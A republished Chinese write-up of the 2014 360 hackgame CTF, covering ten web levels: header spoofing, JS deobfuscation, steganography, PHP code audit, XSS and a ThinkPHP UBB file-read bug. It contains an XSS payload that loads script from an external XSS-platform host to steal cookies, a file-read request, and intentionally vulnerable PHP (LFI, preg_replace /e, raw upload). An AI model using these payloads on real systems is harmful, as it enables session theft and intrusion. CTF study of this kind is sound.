360hackgame writeup

转载

weixin_34198881 于 2018-03-08 10:50:00 发布 236 收藏
文章标签： javascript 开发工具 php ViewUI
原文链接：https://juejin.im/post/5aa11558518825558b3d7df6

> AppLeU0 · 2014/05/05 11:22

0x00扯扯蛋

第一次在wooyun投稿，新人求带。360网络攻防hackgame开荒记，自己做的一些题，中间有一些是领先的，也算开荒吧，就叫开荒记吧，自己的脑洞也比较大，有的题各种想法就是容易想歪了，思路一跑偏就肯定做不出来了，所以做这种比赛还是要依靠一些题目描述的细节、hint等等，发掘一些不对劲的地方。如果是写writeup，可能自己就只有一种正确的解法，但是中间尝试的过程才是重要的，也记录一下自己是怎么跑偏，怎么进行各种尝试的吧，这样比较有意思。 我的博客http://appleu0.sinaapp.com 打个小广告，有些writeup在博客，有兴趣的关注一下。

0x01 web1 Referer

---

attack.onebox.so.com/c6c299rf-ma…

第二关需要从hack.360.cn进入，直接点击按钮可行不通哦!~~

直接点击是没法进入的，抓包查看一下也并没有发现什么。提示说从 hack.360.cn进入，那么我们自然会想到一个东西。在http header中有一种属性 Referer，是用来告诉服务器我是从哪个页面链接过来的，是比较符合题目说的需要从hack.360.cn进入这个说法的。需要改包的话，我爱使用burp suite，提示直接点击按钮不行，那么我就去点击进入下一关，然后burp抓包之后 在http header中加上了一个

```
Referer: http://hack.360.cn
复制代码
```

然后发包就进入了第二关，顺便说下另外两个和ip啊域名啊相关的http header 是Host还有X-Forwarded-For，如果Referer测不对，就会去测测这两个东西。

0x02 web2 javascript

---

attack.onebox.so.com/jaa60cjse-m…

需要我们自己找到密码，那么我们先查看一下源代码，然后再抓包看看有没有什么密码或者是什么异常。

在源码中发现了这一行，抓包也可以看见encode.js这个javascript代码，发现有一些加密、代码混淆什么的，保存到本地来调试一下。代码首末加上在源码中发现了这一行，抓包也可以看见encode.js这个javascript代码，发现有一些加密、代码混淆什么的，保存到本地来调试一下。代码首末加上<script> </script>，保存成html。

```
#!html
<script>var password = eval(function(p,a,c,k,e,d){e=function(c){return(c<a>35?String.fromCharCode(c+29):c.t
复制代码
```

点开发现并没有显示出什么，那么我们要先知道一个姿势，在做这种js代码隐写啊什么的时候，会比较快速。就是在javascript代码执行中，有一些并不会显示出来的代码，比如他eval了一下，那么你可以使用document.write或者是alert去显示出这些代码，观察逻辑。代码不管怎么混淆，怎么加密，总是会去eval的，这个时候一般会是明文的，那么只要我们在这个时候document.write一下，就可以观察到语句，快速解题。

在这一题中我们把var password = eval修改成document.write。执行一下。发现显示出了eval的代码

```
#!js
var _$=["\x28\x5b\x21\x5b\x5d\x5d\x2b\x5b\x5d\x5b\x5b\x5d\x5d\x29\x5b\x2b\x21\x2b\x5b\x5d\x2b\x5b\x2b\x5b\x
复制代码
```

观察到了_$变量，代表了"[object Object]"，我们再使用相同的方法显示出这个_$变量的值。把document.write修改回原来的eval，让这个语句得以执行，然后再后面加上`document.write(_$);`

然后运行一下得到了一个jother编码的东西。

```
([![]]+[][[]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]
复制代码
```

这个是一种另类的javascript编码，只用了8个字符()[]{}+!就能表示其他所有的javascript代码，是种不错的代码混淆的方法。要解这个有两种方法，加上使用之前一样的技巧来显示javascript代码，显示出来的是i360。

还有一种方法是使用了谷歌浏览器的控制台。F12呼出选择Console

输入i360进入第三关。

0x03 web3 decode

---

attack.onebox.so.com/je4cd0jsk-m…

要求解码这下面的代码

```
0x25344425353425343525333525343925343425343525373725344425353325343125373825344425343425363725363725344625
复制代码
```

提示说Ox还有解码，那么就可能会是一些进制啊编码等等的转换。

```
25 34 44 25 35 34 25 34 35 25 33 35 25 34 39 25 34 34 25 34 35 25 37 37 25 34 44 25 35 33 25 34 31 25 37 38
复制代码
```

然后打开神器JPK，这里是这个神器的下载的链接 http://www.wechall.net/tools/JPK

wechall也是个可以练习ctf的平台，欢迎各种大牛一起来练习，一起搅基。

神器打开，Number——Convert——Number To Ascii

```
%4D%54%45%35%49%44%45%77%4D%53%41%78%4D%44%67%67%4F%54%6B%67%4D%54%45%78%49%44%45%77%4F%53%41%78%4D%44%45%6
复制代码
```

看到了% 字符范围又是0到F，那么就猜测是urlencode

神器接着来一发Ascii——Decode——Unescape

```
MTE5IDEwMSAxMDggOTkgMTExIDEwOSAxMDEgMTE2IDExMSA1MSA1NCA0OCA=
复制代码
```

得到一个字符串，字符范围是a-zA-Z=特别是观察到末尾的=自然会想到base64，因为base64的尾部填充用的是=号，只是用来补足位数的，以四个字符为一个块，最末尾不足四个字符的用=号填满。

神器再来，Ascii——Decode——Base64

```
119 101 108 99 111 109 101 116 111 51 54 48
复制代码
```

这个是10进制的，字符范围为0-9，判断是10进制的ascii码。

这里先将进制修改成10进制的 InRadix OutRadix都改成10

然后再Number——Convert——Number To Ascii

`welcometo360` 这个就是过关的密码了。

0x04 web4 stegsolve

---

attack.onebox.so.com/d971abpic-m…

一个图片的隐写题，先下载下来，发现是一个JPG，jpg的图片隐写的方法就几种吧，还是比较简单的。一开始的脑洞比较大，还在想会不会是右上角的标志，还去找了高清大图。

WWWCN肯定是这样子的，我太机智了。

好吧，如果是这样子就变成猜谜游戏了。认真看看题目，掏出神器Stegsolve

下载的链接是www.caesum.com/handbook/Stegsolve.jar

然后Analyse——File Format

jpg的话会有压缩，所以基于像数的隐写可能不太靠谱。看一下文件的内部格式什么的，果然发现有异常。

在本来图片应该结束的地方，却出现了大量的数据。查看一下ascii，确定是什么东西。

可以发现JFIF这个敏感的幻数。这个函数是jpg文件的幻数。所以判断在原图后面还有一张jpg图片。

这个时候我们可以使用Winhex来把这个后面的图扣下来。Offset:00003B30到文件的末尾，然后复制选块，置入新文件。

打开就可以看到BLACK HAT WORLD，这些大写的就是key了(不加空格)。

其实这个题就是和那种jpg+rar的内涵图一个原理的，使用了一个copy命令

`copy /B 1.jpg+2.jpg new.jpg` 就是这个图的生成的方法。

只是因为图片先解析到第一张图，你也没法改后缀，像rar那样子来解决，所以还是有创新的一道题。

附带上一些图片格式的幻数，方便查阅。

```
PNG = %PNG (89504E47)
GIF = GIF89a (47494638)
JPG = ???à JFIF (FFD8FF)
BMP = BMF? (424D)
复制代码
```

0x05 web5 webshell

---

attack.onebox.so.com/cca5e5bas-m…

从这个题开始，感觉到了360要靠猜的地方了，知道了方法都要尝试很多很多次，比较坑爹，这个题我就模糊的记得jsp spy的密码是ninty，也不是太确定。这个时候度娘就是神器了。各种搜索，各种搜索。其实有个方法才是比较便捷的，就是去下到这些webshell的官方的版本，上面的密码肯定就是对的了。

www.webshell.cc/4422.html

这个网站就能下到传说中的Webshell三剑客，然后分别去看看密码。

```
php spy: angel
aspx spy: admin
jsp spy: ninty
复制代码
```

这个题也是卡了一会，网上百度到的有的是错的，结果有三个输入，也不太能确定到底是哪个错了，只有慢慢试咯，由此拉开了360有奖竞猜大赛的序幕。

0x06 web6 swp

---

attack.onebox.so.com/c47e92bak-m…

我觉得这个题出得不好，是个坑。

一开始提到备份文件，我想到的方向就是www.rar类似于这种的整站打包的备份文件，然后既然是要找到这种备份文件，那么我们就需要去扫他出来，常见的一些压缩文件后缀有:rar、zip、7z、tar.gz这几种，然后我就去配合一个扫目录扫文件的工具Pker去扫备份去了。

到后来各种后缀都试过了之后发现，没办法，扫不出来东西。

扫到了个.htaccess文件发现了里面的规则

```
<ifmodule mod_rewrite.c="">
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [C]
RewriteRule bak-main\.html\.swp$ bak-swp.html [QSA,PT,L]
</ifmodule>
复制代码
```

然后就去研究这个东西，还看到了bak啊，swp什么的，感觉有点希望。研究了一下没弄出来，然后就在想会不会是思路出错了，方向跑偏了，据说这些题都不用爆破也可以做出来的。那么就要换个思路了，不用爆破。备份文件，这里的备份文件可能不是那些rar打包文件，而是一些编辑器生成的临时备份文件，比如Editplus生成的bak文件，vim生成的~还有swp。然后我们要先去确定文件名哇，不然光有个后缀也弄出不来的。然后就在想可能不会是要去找别的文件，而是c47e92bak-main.html这个自身的页面，那么我就用了去测试一下c47e92bak-main.html.bak c47e92bak-main.html~ .c47e92bak-main.html.swp都没有，没想到随便测试了一个c47e92bak-main.html.swp居然出来东西了，这个就是我要说这个题出得不好的原因：下面是swp相关的资料 vim中的swp即swap文件，在编辑文件时产生，它是隐藏文件，如果原文件名是data，那么swp文件名就是.data.swp。如果文件正常退出，则此文件自动删除。 以下两种情况不会删除swp文件：

```
1 Vim非正常退出,这种情况下,除非手动删除swp文件（也可以在vim提示时删除），否则它会一直存在。
2 多个程序同时编辑一个文件。
复制代码
```

这个文件应该是隐藏文件，既然说的是忘记删除的，那么应该是.c47e92bak-main.html.swp应该是这样子才对，不可能还把它的.去掉，所以这个题出得不好。 之前刚好做过一个题是关于swp文件的，顺便说一下，2014ouc的c1题就是和swp相关的一道题，那个题是给了一个hacker文件，我们file一下发现发现了c1 hacker: Vim swap file, version 7.3 提示是一个vim产生的swp文件。然后把hacker改成.hacker.swp 再新建个hacker，vim -r hacker就可以恢复文件了，恢复出了一些base64的编码/9j/4AAQSkZJRgABAQEAYABgAAD，这样子的，看这个格式是一张base64编码过的图片，邮件中传输图像常常使用这种方式。

```
<img src=” /9j/4AAQSkZJRgABAQEAYABgAAD/….” />
复制代码
```

这样子保存成html就可以解开了。

扯远了，刚好因为比赛之前做了这个题，所以对swp才有一些了解。我们接着说那个.swp文件，把下载回来。发现了_getNextKey()：

```
#!php
protected function _getNextKey() { $str = base64_encode("89spo36rnrsrq449pq7045o283nn0rp3d26a0666809dd018b8
复制代码
```

base64编码后：
ODlzcG8zNnJucnNycTQ0OXBxNzA0NW8yODNubjBycDNkMjZhMDY2NjgwOWRkMDE4Yjg4NTk1NWUzNDAz
md5计算后：584AFD9177ED1005B0D255ECFD8BE9A8

我写writeup的时候 好像这个字符串变化了，是随机化的，一个id一个key。方法都是一样的，计算一下就可以了(md5大写)。感觉题目越来越需要猜了。

0x07 web7 社工

attack.onebox.so.com/s56410sense…

看到这个题，槽点满满的。和西电xdctf的那个题有点像，舞动旋律那题。是给出了一些信息，需要我们去组合，猜测密码。手工猜了几个猜不动。那种组字典的工具去组个字典爆破试试看吧，N.C.P.H社会工程学字典生成器，比较爱用这个工具。

生成了字典之后，输入那个验证码，并不会刷新的，所以可以用来爆破，后来上了WAF我就不知道还能不能爆破了。总之最后的结果是爆破失败了，什么都没做出来。
那个验证码看着也很别扭，生怕他是错的，给个这样子的提示，真难啊。

后来之后自己慢慢，手动试了，验证码在firefox里不会刷新，也不用太担心效率的问题。试了好久好久，直到试到了Lilei20140305这个 才出现了奇迹。原来还要大小写，这题真是淫荡。越来越有360有奖竞猜大赛的味道。。。欲哭无泪

91199faddb0f5abe576ea087ea708172这个加密串要去解密

在陆羽的博客中看到了这一篇，其实3月挂出来的，之前我也有看到过，还去破解过呢，运气真好，google一下就能解出来了。

91199faddb0f5abe576ea087ea708172:360-hackgame-8-hello-world.php

要是之前有记得这个360-hackgame-8-hello-world.php 的话，特别是提示的8hello，直接在第7关就输入就过了，不用困在猜密码那么久了。当然了，这个也是意淫，出了这个md5一搜才想起来自己之前去破过的。

0x08 web8 audit

attack.onebox.so.com/eda63b0faud…

这个题又是那种很恶心的题目，要勾选有漏洞的代码，有很多种组合。要试很多很多很多很多很多遍才能试出来的。而且还没法爆破，每次出现的函数的顺序会变化。
7个函数，慢慢分析吧

```
#!php
public function SetTemplate($lang)
{
    $lang = isset($lang) ? $lang : 'cn';
    include('template/' . $lang . '.php.html');
}
复制代码
```

这个SetTemplate是用来包含语言文件进来的，因为对于传入的$lang没有进行过滤，直接include了进来，可以使用../进行跨目录的一些操作，包含到/etc/passwd等敏感的文件，在GPC关闭时可以使用%00进行截断，造成LFI漏洞。如果GPC开启时，就会对%00进行转义。有漏洞的语句是 include那句。

```
#!php
public function fetch($templateFile='')
{
    return file_get_contents($templateFile);
}
public function build($htmlfile='', $htmlpath='', $templateFile='')
{
    $content = $this->fetch($templateFile);
    $htmlpath   = !empty($htmlpath)?$htmlpath:HTML_PATH;
    $htmlfile =  $htmlpath.$htmlfile.'HTML_FILE_SUFFIX';
    if(!is_dir(dirname($htmlfile)))
        mkdir(dirname($htmlfile),0755,true);
    if(false === file_put_contents($htmlfile,$content))
        throw new Exception('_CACHE_WRITE_ERROR_'.$htmlfile);
    return $content;
}
复制代码
```

这两个函数一起看吧，fetch这个函数，可以return文件的内容，对于传入的参数$templateFile也没过滤，一开始，我也是并不太确定了。不确定的话就要多试几遍，这个题的限制也比较少，没说清楚输入啊什么的，放眼看去感觉一大堆漏洞。测试后发现这个是不算漏洞的，因为只在build函数中调用了，而build函数去百度一下就会发现是thinkphp的生成静态页面的方法，去wooyun上搜搜，也没有发现与此相关的什么漏洞。那么这两个函数就是安全的。

```
#!php
public function __set($key)
{
    if(isset($this->_var[$key])) {
        return $this->_var[$key];
    }
}
public function __set($key, $name)
{
    if (isset($this->_var[$key])) {
        return $this->_var[$key];
    }
    return false;
}
复制代码
```

这两个函数比较相似，就放一起讲，`__set()`方法是php中的魔术方法，用来给私有对象赋值的。并没有什么相关的漏洞，这两个函数比较正常，只能搜到用法啊一些，并找不到和漏洞相关的。

```
#!php
public function Filter($value,$safecode)
{
    $value = preg_replace("/(javascript:)?on(click|load|key|mouse|error|abort|move|unload|change|dblclick|m
    $value = preg_replace("/(.*?)<\/script>/si", $safecode, $value);
    $value = preg_replace("/(.*?)<\/iframe>/si", $safecode, $value);
    $value = preg_replace("/(.*?)/e", $safecode, $value);
    $value = preg_replace("//iesU", $safecode, $value);
    return $value;
}
```
复制代码

这个是一个过滤器，用来过滤一些xss代码，保证安全性的。
然后发现了preg_replace /e 这两句，如果传入的值可控的，就会造成代码执行漏洞。
下面两句/e就是漏洞语句。

```
#!php
public function Upload($filename)
{
    $default_path = 'upload/';
    if (!file_exists($default_path))
        mkdir($default_path, 0777, true);
    $destination = $default_path . basename($filename);
    echo 'Saving your image to: ' . $destination;
    $jfh = fopen($destination, 'w') or die("can't open file");
    fwrite($jfh, $GLOBALS['HTTP_RAW_POST_DATA']);
    fclose($jfh);
}
```
复制代码

最后一个是Upload这个函数， 先是创建了一个目录权限是777，然后是文件名没有做过滤，就拿去做了字符串连接，所以上传的$filename可以命名成weshell.php的，然后显示出相对路径，`$jfh = fopen($destination, 'w')` 创建一个文件，可写入东西，`fwrite($jfh, $HTTP_RAW_POST_DATA);` 这句彻底沦陷，`$HTTP_RAW_POST_DATA` 可以使用post往文件里写shell，直接getshell，所以是那三句出现了漏洞。`$destin…` `$jfh…` `fwrite(…` 这三句。分析完毕后，就是试啊试，看是哪些语句，慢慢测。 我做的时候只有6句是漏洞语句，后来我写writeup的时候改过了。 加上了一句 `return file_get_contents($templateFile);` 也是我犹豫不决的一句，他能返回文件源码，可以造成文件源码泄露。可是他没有echo，而是用了return。 那就再加一句，一共7句漏洞代码。

0x09 web9 xss

---

attack.onebox.so.com/x2a9ef99cd0…

xss的一道题，需要拿到cookie，要使用到xss平台。先去配置一个xss平台来获取cookie先，我是用的冷总的xss平台。

http://lennyxss.sinaapp.com/

http://lennyxss.sinaapp.com/3C9ee4?1398504020

配置一个获取cookie的js代码。然后去测试那个留言板的过滤。

手动测测，发现是最先检测的是你的代码中有没有html5标签，然后检测你的代码有没有非法字符，被他过滤的字符，然后是检测你的代码能不能注入。

其实所谓的html5，也只有他提示的svg标签，使用其他的html5标签没法绕过。比如video audio，比较郁闷，其实这里就应该想到后台对留言板的处理什么的，当时并没有想到，结果卡了一夜。然后就是测试了想要去构造个标签，还看到网上的一些使用了什么的，就去想要绕过，这里又坑了。后来fuzz的时候才发现的。

使用了burp fuzz测试非法字符，提交类似于 svg "这样子的内容，burp测试

发现了3个非法的，" > \这三个字符，还会过滤其他的。测试到这里的时候才发现自己之前的想法不对，不是要去想办法绕过，然后闭合上<svg>，而是 >直接就是在黑名单中的，应该要想办法利用后台的代码去闭合。思路明确之后，就是在属性、事件中去编码绕过或者是不使用一些被过滤的字符比如"。然后就是构造测试、构造测试..
最后是这样子的xss payload onload页面载入是执行js脚本

```
#!html
<svg onload=document.body.appendChild(createElement(/script/.source)).src=String.fromCharCode(47,47,108,101
复制代码
```

使用了fromCharCode编码 //lennyxss.sinaapp.com/3C9ee4?1398248400

就是之前我们生成的xss地址。

提交成功之后，发现cookie来了。好开心，去xss平台查看一下。

cookie的最后的一个是 xss-key=cc4b0a94f5a2e5a244a1cc44a7fb4cb3

提交进入最后一关。

0x0A web10 ubb

---

attack.onebox.so.com/jdad3f8fasd…

这个题我输了T T，第一步一直没做出来，死猫做出来的时候，我还没有思路。

这个题我的思路是各种飘，各种跑偏，蛋疼。这个题一来就和别的题不一样，没有提交框，我们需要先想办法找到那个提交框，还有题目的描述什么的。抓包看看。
burp可以看到

```
Set-Cookie: display=5842b0a0df2d52533c241c6ec26089a8; expires=Sun, 27-Apr-2014 10:37:15 GMT; secure
复制代码
```

这个就是让我各种跑偏的一个东西。访问页面，response中给出来一个Set-Cookie。

display=5842b0a0df2d52533c241c6ec26089a8 这个还带了一个secure的标志。

secure标志是指定cookie要在https的传输协议中才会给带上的，现在的访问的是正常的http的协议，所以cookie不会被设置上，那么肯定是顺手就在发包中加上了这个cookie，试试看。也没有什么反应。然后就去研究这个md5，发现解开是dispaly这样子的，客服说是手误了，不要在意。也没有什么能挖掘的。就去找secure相关的，也就是这个服务中的https。然后发现443端口是没有开放的，没有什么收获。那么就nmap扫一下端口看看吧。open的只有80，就去测试会不会有端口复用的情况，在80端口中还使用了https这个服务。

https://attack.onebox.so.com/jdad3f8fasd0d-main.html https://attack.onebox.so.com:80/jdad3f8fasd0d-main.html

没有什么特殊的，很蛋疼。还是找不到入手的地方，想到https 443端口没开放的话，就去测试一下8443端口，发现了有一些异常，8443端口在nmap中是filtered，测试了一会，也没办法利用。还在想会不会是最近很火的openssl，使用payload打了80端口试了试，并没有什么反应。

这个时候，客服说我和死猫都在第十关没有进展，那么可以确定不应该从端口这个方向入手，果断要换个思路。

后来甚至还找出来做伪静态之前的源文件出来，发现了500的响应，很桑心。

http://attack.onebox.so.com/Lib/Action/Jdad3f8fasd0dAction.class.php

都一直在迷茫地测试着各种。

甚至还把那个display post提交到了页面上，也没有反应，后来发现，其实这里已经很接近了，但是还是不对。

直到后来，死猫做出来了，我还没有什么进展。最后是在想display用怎么用的时候，是一个name=value的形式，然后想到了那个actf上的 `way = "H4ck_F0r_Fun!GoGoGo!`，是不是也要来试试看。然后就用get方式提交 `?display= 5842b0a0df2d52533c241c6ec26089a8`作为参数。这个时候有了不一样的回显。

http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display= 5842b0a0df2d52533c241c6ec26089a8

菊花一紧，没有这样子玩的，居然把cookie拿去get提交。桑心了。

然后就是提示要去读取文件，这个比较简单。在wooyun上找找thinkphp的漏洞，然后发现了几个，有一个是代码执行的，测了一个没测出来。再换个姿势，既然他要我们来读文件，那么就去找读取源码、读取文件的漏洞。

google hacking一发：site:wooyun.org thinkphp 读取源码

百度出来的第一条就是了，我真是有特殊的搜索技巧啊。

WooYun: ThinkPHP的Ubb标签漏洞读取任意内容

然后就是测试这个漏洞。

漏洞的描述是这样子的：

当path=[code language=""][/code]/etc/passwd[/code]

成功读取对应内容。

那么我们也来仿照他的。

```
path=[code][/code]/home/s/pwd/1bbba54560cd4735b4c479ac5c30349e.txt[/code ]
复制代码
```

这样子来显示出key的内容。

```
http://attack.onebox.so.com/jdad3f8fasd0d-main.html?display=5842b0a0df2d52533c241c6ec26089a8&path=[code][/c
复制代码
```

获取了一个check:d914e3ecf6cc481114a3f534a5faf90b$28159b405e970344e0b55a6b247f89f3|e17660

这样子的字符串，整个拿去提交就可以了。

0x0B 后记

其实做这个比赛还是挺有收获的，我也发现了自己的弱点，以及该如何去努力。比赛的时候，好多人看到，然后给我加油，给我鼓气，真是谢谢你们。我有的时候，对着一道题目死磕，自己都快要放弃了，你们还鼓励让我坚持下去。谢谢你们。

然后我发现做ctf的时候，很多时候都是输给了自己，而不是输给别人。自己做一个题，做不下去了，各种测试无果，往往会自己给自己找个借口，找个台阶。这个奖品不是我要的，这个题太难了，这个类型的题我没接触过，各种各样的借口。其实都是扯淡，就是自己放弃了，输给了自己了。

还是死猫也是让我学习到了好多，学习能力真的很重要，如何在短时间内吸收最多的知识，运用起来，这种能力很重要。遇到不懂的，马上就去查阅相关资料，自己给自己涨姿势。猫总，你太屌了。学习到了~

还有一个就是key的随机化，做到每个id一个key，或者是每一次不同的提交都有不同的key，比如第六题和第十题，就做到。也是很好的一点，阻止了直接共享key的发生，也会是将来ctf的一个趋势吧。